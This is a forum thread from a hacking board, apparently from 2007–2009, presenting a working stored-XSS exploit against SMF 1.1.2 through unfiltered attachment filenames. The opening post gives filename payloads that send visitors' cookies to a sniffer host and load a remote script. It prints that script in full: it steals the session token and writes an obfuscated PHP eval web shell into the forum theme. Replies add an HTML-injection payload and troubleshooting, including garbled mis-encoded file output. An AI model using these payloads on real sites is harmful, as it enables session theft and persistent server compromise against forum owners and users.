Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   [ Active-XSS in SMF ] (https://forum.antichat.xyz/showthread.php?t=58377)

Cenarius 14.06.2007 23:21

Active-XSS in SMF
 
SMF Active XSS
(current version 1.1.2)

Отсутствует фильтрация atachment filename

Способы эксплуатации:
  • 1. Получение cookie
    Создаем сообщение и прикрепляем к нему файл со следующим имененем:
    (работает во всех браузерах)
    Код:

    attachfilename<img src=. width=1 height=1 onerror=javascript:new&#32Image().src='http:&#47&#47sniffsite.com&#47s.gif?'+document.cookie>.txt
    (в адресе sniffer'a все / заменяем на &#47)
    Получаем cookie
  • 2. Получение web shell'a
    Создаем сообщение и прикрепляем к нему файл со следующим имененем:
    (работает во всех браузерах)
    Код:

    name<img src=. width=1 height=1 onerror=javascript:var&#32s=document.createElement('script');s.src='http:&#47&#47site.com&#47smfexp.js';document.documentElement.firstChild.appendChild(s);>.txt
    (все / в атрибуте src заменяем на &#47)
    Это код простейшего динамического загрузчика скриптов
    http:&#47&#47site.com&#47smfexp.js - адрес загружаемого скрипта
    smfexp.js изменяет шаблон default темы: вставляет в /smf/Themes/default/index.php shell

    smfexp.js:
    Код:

    /*
            SMF Active XSS Exploit by Cenarius
            Email: ooohoow@gmail.com | Icq: 100732

            Adds shell to index.php of default forum's template
    */

    var shellCode = "<?php\n\n";
    shellCode += "// Try to handle it with the upper level index.php.  (it should know what to do.)\n";
    shellCode += "eval(base64_decode('ZWNobyAnPHByZT4nOyBAZXZhbCgkX1BPU1RbJ2NkJ10pOyBlY2hvICc8L3ByZT4nOw=='));\n";  // @eval($_POST['cd']);
    shellCode += "if (file_exists(dirname(dirname(__FILE__)) . '/index.php'))\n";
    shellCode += "  include (dirname(dirname(__FILE__)) . '/index.php');\n";
    shellCode += "else\n";
    shellCode += "  exit;\n\n?>";

    sendRequest("index.php", null, "GET", getSesc);

    function getSesc(request) {
        var sessVerify = request.responseText.match(/sesc=([a-z0-9]{32})/);

        if(sessVerify) {
            sendRequest(
                "index.php?action=theme;th=1;sa=edit",
                "entire_file=" + escape(shellCode ) + "&submit=Save+Changes&filename=index.php&sc=" + sessVerify[1],
                "POST", null);
        }
    }

    function sendRequest(url, data, method, onLoadFunc) {
        var request = createHttpRequest();

        if(request) {
            request.open(method, url, true);
           
            if(method == "POST") {
                request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); }

            if(onLoadFunc) {
                request.onreadystatechange = function() {
                    if(request.readyState == 4) {
                        onLoadFunc(request); }
                }
            }
            request.send(data);
        }
    }

    function createHttpRequest() {
        var httpRequest = false;
        try {
            httpRequest = new ActiveXObject("Msxml2.XMLHTTP"); }
        catch(e) {
            try {
                httpRequest = new ActiveXObject("Microsoft.XMLHTTP"); }
            catch(e) {
                try {
                    httpRequest = new XMLHttpRequest(); }
                catch(e) {
                    httpRequest = false;
                }
            }
        }
        return httpRequest;
    }

    // EOF

    По адресу http://vulnsite.com/smf/Themes/default/index.php получаем web shell
    index.php будет содержать следующий код:
    Код:

    @eval($_POST['cd']);

Также можно объединить 2 приведенных выше способа, прикрепив 2 файла, или добавив в smfexp.js:
Код:

new Image().src='http://sniffsite.com/s.gif?'+document.cookie;

Fugitif 04.10.2007 18:08

Html Injection

Код:

<body onload=document.write(String.fromCharCode(Some char values...))>1.txt
:) also on 1.1.4

WeekTorr 02.02.2008 22:09

attachfilename<img src=. width=1 height=1 onerror=javascript:new&#32Image().src='http:&#47&#47old.antichat.ru&#47cgi-bin&#47s.gif?'+document.cookie>.txt

Делаю аттач, сообщение успешно добавляется на форум. Отображается что к сообщению прикреплен файл default.htm Вот такого вот содержания

Цитата:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">਍㰀栀琀洀氀 搀椀爀㴀∀氀琀爀∀ 氀愀渀最㴀∀爀甀∀㸀ഀ <head>਍ 㰀琀椀琀氀攀㸀Ḁ䠄㠄㄄㨄〄㰄⼀琀椀琀氀攀㸀ഀ <link rel="stylesheet" href="file://localhost/C:/Program Files/Opera/styles/error.css" media="screen,projection,tv,handheld,print,speech" >਍㰀⼀栀攀愀搀㸀ഀ <body>਍㰀栀㄀㸀ᴀ㔄㼄䀄〄㈄㠄㬄䰄㴄䬄㤄  㐄䀄㔄䄄㰄⼀栀㄀㸀ഀ <div>਍㰀瀀㸀唀刀䰀ⴀ 㐄䀄㔄䄄 㰀挀椀琀攀㸀栀琀琀瀀㨀⼀⼀愀琀琀愀挀栀昀椀氀攀渀愀洀攀─㌀䌀椀 洀最─㈀ 猀爀挀㴀⸀─㈀ 眀椀搀琀栀㴀㄀─㈀ 栀攀椀最栀琀㴀㄀─㈀ 漀渀攀爀爀漀爀㴀樀愀瘀愀猀挀爀椀 瀀琀㨀渀攀眀☀愀洀瀀㬀─㈀㌀㌀㈀䤀洀愀最攀⠀⤀⸀猀爀挀㴀✀栀琀琀瀀㨀☀愀洀瀀㬀─㈀㌀㐀㜀☀愀洀瀀㬀─ ㈀㌀㐀㜀漀氀搀⸀愀渀琀椀挀栀愀琀⸀爀甀☀愀洀瀀㬀─㈀㌀㐀㜀挀最椀ⴀ戀椀渀☀愀洀瀀㬀─㈀㌀㐀㜀猀⸀最椀 昀㼀✀⬀搀漀挀甀洀攀渀琀⸀挀漀漀欀椀攀─㌀䔀⸀琀砀琀㰀⼀挀椀琀攀㸀 䄀㸄㐄㔄䀄㘄㠄䈄 㴀㔄㐄㸄㼄䌄䄄 䈄㠄㰄䬄㔄 㜀㴄〄㨄㠄 㐀㬄伄 䀀〄䄄㼄㸄㬄㸄㘄㔄㴄㠄伄Ⰴ ㈀ 㨀㸄䈄㸄䀄㸄㰄 㸀㴄㠄 㸀㄄㴄〄䀄䌄 㘄㔄㴄䬄⸄㰀⼀瀀㸀ഀ <ul>਍ 㰀氀椀㸀ἀ䀄㠄䜄㠄㴄㸄㤄 㠀䔄 㼀䀄㠄䄄䌄䈄䄄䈄㈄㠄伄 㰀㸄㘄㔄䈄 ㄀䬄䈄䰄 㴀㔄㼄䀄〄 ㈄㠄㬄䰄㴄㸄 ㈀㈄㔄㐄㔄㴄㴄䬄㤄 唀刀䰀ⴀ 㐄䀄㔄䄄Ⰴ 㴀㸄  㐄䀄㔄䄄 㰀㸄㘄㔄䈄 䈀〄㨄㘄㔄 ㄀ 䬄䈄䰄 㼀㸄㼄䬄䈄㨄㸄㤄 㸀㄄㰄〄㴄㴄䬄㰄 㼀䌄䈄㔄㰄 ㈀䬄㴄䌄㐄㠄䈄䰄 ㈀〄䄄 㼀㸄䄄㔄䈄㠄䈄䰄  ㈀㔄㄄ⴄ䄀䈄䀄〄㴄㠄䘄䌄Ⰴ 㨀㸄䈄㸄䀄䌄丄 ㈀䬄 䄀䜄㠄䈄〄㔄䈄㔄 㼀㸄 㸀䠄㠄㄄㨄㔄 ㄀㔄㜄㸄㼄〄 䄄㴄㸄㤄⸄㰀⼀氀椀㸀ഀ </ul>਍㰀⼀搀椀瘀㸀㰀⼀戀漀搀礀㸀ഀ <
Собсно и все.. в логе снифера при этом не появляется ни одной новой записи. В чем причина?

Xack-Zero 17.02.2009 17:17

У меня, когда переименовываешь файл, ругается на двоеточие, пишет нельзя делать имя файла с такими символами. Извините за архиологию.


Время: 22:29